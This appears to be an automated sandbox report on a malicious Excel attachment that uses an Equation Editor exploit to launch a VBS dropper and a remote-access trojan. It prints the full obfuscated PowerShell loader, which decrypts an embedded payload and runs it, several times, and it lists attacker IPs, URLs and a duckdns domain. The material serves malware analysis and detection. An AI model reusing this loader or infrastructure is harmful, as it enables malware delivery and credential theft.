Window found: window name: WSH-Timer

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5693			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 863			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3268	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3484	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3488	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3488	Thread sleep time: -2400000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3488	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3412	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Yara detected Powershell download and execute

HIPS / PFW / Operating System Protection Evasion

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 3376, type: MEMORYSTR

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplebeautygirlfrndhaveform.vBS"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53245645968011423739588623973337CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIIfj5tD9O95CJERD65QS8cgd6mKhDFXu5KnhuNUHV8eN0Bizzo6XYsPUOr/naNJ9+K8DnwkvsZljh8/jDtCBlcE7JwBlipBYNS69FMVrYo8riAT/OCm+86aVfem+jS7xh93ssL6airSk1E4+mG3y/ys93bKWl7qe/OiIfd0sR1FM9xZhEYuwuHy/AU8FfHXTeSMPl/YzZJ+ERHVh+bArXV063XruUdd/cZK/At2Cd+nbGZfGFDj29bcydLi2HTao5Px2joIFcvB02gojNaG2SWau3s/c6HFNqHbJGGUvRutXMletl29tNTCgqa0tUwol3eukX7WxBG0I6W0I89mN4k+5nR4K2AK8APbfVOX2Kvv5Tano47cej4QtGlf3mt0SPlqwZ9JReU64MQQKkvdzo84oqAoQ+HKZ5+76sSvuVPLVPNwT4waP3/VLkFCFvdaX6peTauqLmO7Enf3jzdxLsVBi7+NpZvpR8FLnBqiZzlImiogkvR17bPAS5CpYJnW/spi74gNlfkH3Qds0UlhmZe/la2ja5Mjup7w5KWxVsHB7OS7tLShSyN7PC/qbynVi6PhL80r558jq+Epf/Jw5jd2cMqIeQ4mv2U7EHxT/brTG1G9P22Aeim3ofkuv8Q/SbtoTP/20JvRjQ8WJRpM/rpy0QrrdKIDxmHOj8D6rmtRQVNLhZ+QU80DQhyY621X7HrHP/CHEzyeyQZWYMrUUzD7owZM8RgeUNb1tZcnVUx5eYVO7nU46ipcNFuuOEq7bDkKPW3S8iF+x6isuilkSnxQGLGoiQ/3UQx1KT5knk+IGE6RsunZht35yevyQ39siNJMcED7UWj/p5RW4pseMzZxQl/ER7KgeB/ga2lAverkwIuezrF3ODu4Fwu5pnQAqjKIbiK2WSd3HqQ6ElDbZDPlYJnIiorFFgTexsUy6Oe4ME8KrjwDHFPmrWUYgSixHjBrs984Mgz6L5vb7M2/1oZiU1cR0qRdZy3k3VSR+EnkjMt7QgpSt+TbAem6N1XrXX9yzuPZHT3jK7lS4aHtIloD1MMXWuIFungQbKc9KeITySZskxIxzuGSwplqK0ziNU0ELPRdi1QwF3PH5FGpGbNrOTsh2BXgal6KV70rLlImHCB/8N7+Zv4j3XQUvj7YpMsgavK4CpP2Kc0q2QBsv7EQwDeKTCM8Lho0uj59AXofd0v7Z0vxAotnN5Mo4LmIYSm7KuWnX/7BetKCLQsfM4MXEXF6te/5nneOgTKpDRxwFFl4mVtKv5tMtOpWM/IW/h9086XNQd1JCqFrA3dwaQ9H6+RTfGXHWBLLV/H2MbX+G3rK+Am8FjxJeLV3vZ/qwk0O2aTk8NsmzYZcdfcOP03B9h/iEr7Se0SP/S6mlR/0wuzt7CmAPKp/CNPz0fC/0tV0xJ8NlgvvQQvk1Zz/ZXQQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni53245645968011423739588623973337cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cniifj5td9o95cjerd65qs8cgd6mkhdfxu5knhunuhv8en0bizzo6xyspuor/nanj9+k8dnwkvszljh8/jdtcblce7jwblipbyns69fmvryo8riat/ocm+86avfem+js7xh93ssl6airsk1e4+mg3y/ys93bkwl7qe/oiifd0sr1fm9xzheyuwuhy/au8ffhxtesmpl/yzzj+erhvh+barxv063xruudd/czk/at2cd+nbgzfgfdj29bcydli2htao5px2joifcvb02gojnag2swau3s/c6hfnqhbjgguvrutxmletl29tntcgqa0tuwol3eukx7wxbg0i6w0i89mn4k+5nr4k2ak8apbfvox2kvv5tano47cej4qtglf3mt0splqwz9jreu64mqqkkvdzo84oqaoq+hkz5+76ssvuvplvpnwt4wap3/vlkfcfvdax6petauqlmo7enf3jzdxlsvbi7+npzvpr8flnbqizzlimiogkvr17bpas5cpyjnw/spi74gnlfkh3qds0ulhmze/la2ja5mjup7w5kwxvshb7os7tlshsyn7pc/qbynvi6phl80r558jq+epf/jw5jd2cmqieq4mv2u7ehxt/brtg1g9p22aeim3ofkuv8q/sbtotp/20jvrjq8wjrpm/rpy0qrrdkidxmhoj8d6rmtrqvnlhz+qu80dqhyy621x7hrhp/chezyeyqzwymruuzd7owzm8rgeunb1tzcnvux5eyvo7nu46ipcnfuuoeq7bdkkpw3s8if+x6isuilksnxqglgoiq/3uqx1kt5knk+ige6rsunzht35yevyq39sinjmced7uwj/p5rw4psemzzxql/er7kgeb/ga2laverkwiuezrf3odu4fwu5pnqaqjkibik2wsd3hqq6eldbzdplyjniiorffgtexsuy6oe4me8krjwdhfpmrwuygsixhjbrs984mgz6l5vb7m2/1oziu1cr0qrdzy3k3vsr+enkjmt7qgpst+tbaem6n1xrxx9yzupzht3jk7ls4ahtilod1mmxwuifungqbkc9keityszskxixzugswplqk0zinu0elprdi1qwf3ph5fgpgbnrotsh2bxgal6kv70rllimhcb/8n7+zv4j3xquvj7ypmsgavk4cpp2kc0q2qbsv7eqwdektcm8lho0uj59axofd0v7z0vxaotnn5mo4lmiysm7kuwnx/7betkclqsfm4mxexf6te/5nneogtkpdrxwffl4mvtkv5tmtopwm/iw/h9086xnqd1jcqfra3dwaq9h6+rtfgxhwbllv/h2mbx+g3rk+am8fjxjelv3vz/qwk0o2atk8nsmzyzcdfcop03b9h/ier7se0sp/s6mlr/0wuzt7cmapkp/cnpz0fc/0tv0xj8nlgvvqqvk1zz/zxqq==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crep
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni53245645968011423739588623973337cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cniifj5td9o95cjerd65qs8cgd6mkhdfxu5knhunuhv8en0bizzo6xyspuor/nanj9+k8dnwkvszljh8/jdtcblce7jwblipbyns69fmvryo8riat/ocm+86avfem+js7xh93ssl6airsk1e4+mg3y/ys93bkwl7qe/oiifd0sr1fm9xzheyuwuhy/au8ffhxtesmpl/yzzj+erhvh+barxv063xruudd/czk/at2cd+nbgzfgfdj29bcydli2htao5px2joifcvb02gojnag2swau3s/c6hfnqhbjgguvrutxmletl29tntcgqa0tuwol3eukx7wxbg0i6w0i89mn4k+5nr4k2ak8apbfvox2kvv5tano47cej4qtglf3mt0splqwz9jreu64mqqkkvdzo84oqaoq+hkz5+76ssvuvplvpnwt4wap3/vlkfcfvdax6petauqlmo7enf3jzdxlsvbi7+npzvpr8flnbqizzlimiogkvr17bpas5cpyjnw/spi74gnlfkh3qds0ulhmze/la2ja5mjup7w5kwxvshb7os7tlshsyn7pc/qbynvi6phl80r558jq+epf/jw5jd2cmqieq4mv2u7ehxt/brtg1g9p22aeim3ofkuv8q/sbtotp/20jvrjq8wjrpm/rpy0qrrdkidxmhoj8d6rmtrqvnlhz+qu80dqhyy621x7hrhp/chezyeyqzwymruuzd7owzm8rgeunb1tzcnvux5eyvo7nu46ipcnfuuoeq7bdkkpw3s8if+x6isuilksnxqglgoiq/3uqx1kt5knk+ige6rsunzht35yevyq39sinjmced7uwj/p5rw4psemzzxql/er7kgeb/ga2laverkwiuezrf3odu4fwu5pnqaqjkibik2wsd3hqq6eldbzdplyjniiorffgtexsuy6oe4me8krjwdhfpmrwuygsixhjbrs984mgz6l5vb7m2/1oziu1cr0qrdzy3k3vsr+enkjmt7qgpst+tbaem6n1xrxx9yzupzht3jk7ls4ahtilod1mmxwuifungqbkc9keityszskxixzugswplqk0zinu0elprdi1qwf3ph5fgpgbnrotsh2bxgal6kv70rllimhcb/8n7+zv4j3xquvj7ypmsgavk4cpp2kc0q2qbsv7eqwdektcm8lho0uj59axofd0v7z0vxaotnn5mo4lmiysm7kuwnx/7betkclqsfm4mxexf6te/5nneogtkpdrxwffl4mvtkv5tmtopwm/iw/h9086xnqd1jcqfra3dwaq9h6+rtfgxhwbllv/h2mbx+g3rk+am8fjxjelv3vz/qwk0o2atk8nsmzyzcdfcop03b9h/ier7se0sp/s6mlr/0wuzt7cmapkp/cnpz0fc/0tv0xj8nlgvvqqvk1zz/zxqq==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crep			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Source: Yara match	File source: 9.2.powershell.exe.42ed080.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.42ed080.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.447875101.0000000003FC8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3376, type: MEMORYSTR

Remote Access Functionality

Source: Yara match	File source: 9.2.powershell.exe.42ed080.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.42ed080.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.447875101.0000000003FC8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3376, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	131 Scripting	Valid Accounts	211 Command and Scripting Interpreter	1 Browser Extensions	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	43 Exploitation for Client Execution	131 Scripting	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	4 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	1 DLL Side-Loading	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
#U00d6DEME TAVS#U0130YES#U0130.xls	32%	ReversingLabs	Document-Excel.Exploit.CVE-2017-0199
#U00d6DEME TAVS#U0130YES#U0130.xls	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{3F1E4F80-4A4D-478E-8570-2CB2A855073D}.tmp	100%	Avira	EXP/CVE-2017-11882.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\createdsimplethingstogetbackteachingentirethingsaroundtheworldtogetmebackwiththefreatgreatthings_____________sesheismygirlalwayssheismy[1].doc	100%	Avira	HEUR/Rtf.Malformed
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C63FEFCD.doc	100%	Avira	HEUR/Rtf.Malformed

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://geoplugin.net/json.gp/C	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://go.microsoft.cU	0%	Avira URL Cloud	safe
http://tny.wtf/	0%	Avira URL Cloud	safe
http://192.227.225.166	0%	Avira URL Cloud	safe
http://198.46.176.133/Upload/vbs.jpeg	100%	Avira URL Cloud	malware
http://tny.wtf/4GsyX	0%	Avira URL Cloud	safe
http://192.227.225.166/36/RYND.txt	0%	Avira URL Cloud	safe
wemberdag.duckdns.org	100%	Avira URL Cloud	malware
http://192.227.225.166/36/hb/createdsimplethingstogetbackteachingentirethingsaroundtheworldtogetmebackwiththefreatgreatthings_____________sesheismygirlalwayssheismy.doc	100%	Avira URL Cloud	malware
http://192.227.225.166/36/simplebeautygirlfrndhaveforme.gIFj	0%	Avira URL Cloud	safe
http://tny.wtf/4Gs	0%	Avira URL Cloud	safe
http://198.46.176.133	0%	Avira URL Cloud	safe
http://192.227.225.166/36/simplebeautygirlfrndhaveforme.gIF	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
tny.wtf	188.114.97.3	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://198.46.176.133/Upload/vbs.jpeg	false	Avira URL Cloud: malware	unknown
http://192.227.225.166/36/RYND.txt	true	Avira URL Cloud: safe	unknown
wemberdag.duckdns.org	true	Avira URL Cloud: malware	unknown
http://192.227.225.166/36/hb/createdsimplethingstogetbackteachingentirethingsaroundtheworldtogetmebackwiththefreatgreatthings_____________sesheismygirlalwayssheismy.doc	true	Avira URL Cloud: malware	unknown
http://tny.wtf/4Gs	false	Avira URL Cloud: safe	unknown
http://192.227.225.166/36/simplebeautygirlfrndhaveforme.gIF	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://tny.wtf/	tny.wtf.url.3.dr	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000009.00000002.447875101.00000000033B9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://go.microsoft.cU	powershell.exe, 00000009.00000002.446403842.00000000001CC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.227.225.166	powershell.exe, 00000009.00000002.452136835.00000000081C1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp/C	powershell.exe, 00000009.00000002.447875101.0000000003FC8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tny.wtf/4GsyX	~DF796D981FE2E9145A.TMP.0.dr, F0630000.0.dr	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000009.00000002.447875101.00000000033B9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000009.00000002.447875101.00000000033B9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000009.00000002.447875101.00000000033B9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000009.00000002.447875101.00000000033B9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.227.225.166/36/simplebeautygirlfrndhaveforme.gIFj	EQNEDT32.EXE, 00000007.00000002.430940411.00000000005EF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000009.00000002.447762696.0000000002391000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://198.46.176.133	powershell.exe, 00000009.00000002.447762696.00000000024CA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.114.97.3	tny.wtf	European Union	13335	CLOUDFLARENETUS	true
192.227.225.166	unknown	United States	36352	AS-COLOCROSSINGUS	true
198.46.176.133	unknown	United States	36352	AS-COLOCROSSINGUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1482813
Start date and time:	2024-07-26 08:23:16 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	#U00d6DEME TAVS#U0130YES#U0130.xls renamed because original name is a hash value
Original Sample Name:	DEME TAVSYES.xls
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLS@9/29@6/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 82% Number of executed functions: 15 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): mrxdav.sys, dllhost.exe, rundll32.exe, WMIADAP.exe, conhost.exe
Execution Graph export aborted for target EQNEDT32.EXE, PID 3248 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: #U00d6DEME TAVS#U0130YES#U0130.xls

Simulations

Behavior and APIs

Time	Type	Description
02:24:42	API Interceptor	47x Sleep call for process: EQNEDT32.EXE modified
02:24:44	API Interceptor	29x Sleep call for process: powershell.exe modified
02:24:44	API Interceptor	7x Sleep call for process: wscript.exe modified

LLM Input / Output

Input

Output

URL: Office document Model: gpt-4o

```json
{
  "riskscore": 9,
  "reasons": "The screenshot shows a visually prominent Microsoft Office logo with the text 'This document is protected' which can mislead users into thinking the document is legitimate. The instructions on the right side create a sense of urgency by directing the user to 'Enable Content' to view the document. This is a common tactic used in phishing attacks to trick users into enabling macros, which can then execute malicious code. Additionally, the use of the Microsoft Office branding impersonates a well-known and trusted brand, further increasing the likelihood of the user being deceived. The combination of these elements strongly suggests that the document could be malicious."
}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	Notepad3_v6.23.203.2.exe	Get hash	malicious	Amadey, GO Backdoor	Browse	downloaddining2.com/h9fmdW6/index.php
	Quotation.exe	Get hash	malicious	FormBook	Browse	www.bahisanaliz16.xyz/ty31/?nfuxZr=JoA2dMXfLBqFXt4x+LwNr+felGYfgJXJPNkjuKbt07zo6G2Rowrau43mkNbOTfffhSkjLsiciQ==&v6AxO=1bjHLvGh8ZYHMfZp
	LisectAVT_2403002B_412.exe	Get hash	malicious	FormBook	Browse	www.whatareyoucraving.com/drbb/
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	tny.wtf/pqv2p
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	tny.wtf/pqv2p
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	tny.wtf/pqv2p
	PO S0042328241130.xls	Get hash	malicious	Remcos	Browse	tny.wtf/vMCQY
	LisectAVT_2403002B_89.exe	Get hash	malicious	CobaltStrike	Browse	cccc.yiuyiu.xyz/config.ini
	irlsever.doc	Get hash	malicious	FormBook	Browse	www.ninunveiled.shop/y2xs/
	Scan copy.xls	Get hash	malicious	Unknown	Browse	tny.wtf/3VC
198.46.176.133	042240724.xls	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	createdgoodthingswtihmewhilealot.gif.vbs	Get hash	malicious	Unknown	Browse	198.46.176.133/Upload/vbs.jpeg
	greatbunfeelsoftandhoney.gif.vbs	Get hash	malicious	Unknown	Browse	198.46.176.133/Upload/vbs.jpeg
	PO S0042328241130.xls	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	ogetback.doc	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	S0042328241130.xls	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.9942.6374.rtf	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	DRAFT AWB and DRAFT Commercial invoice.xls	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	XrAADcYten.rtf	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
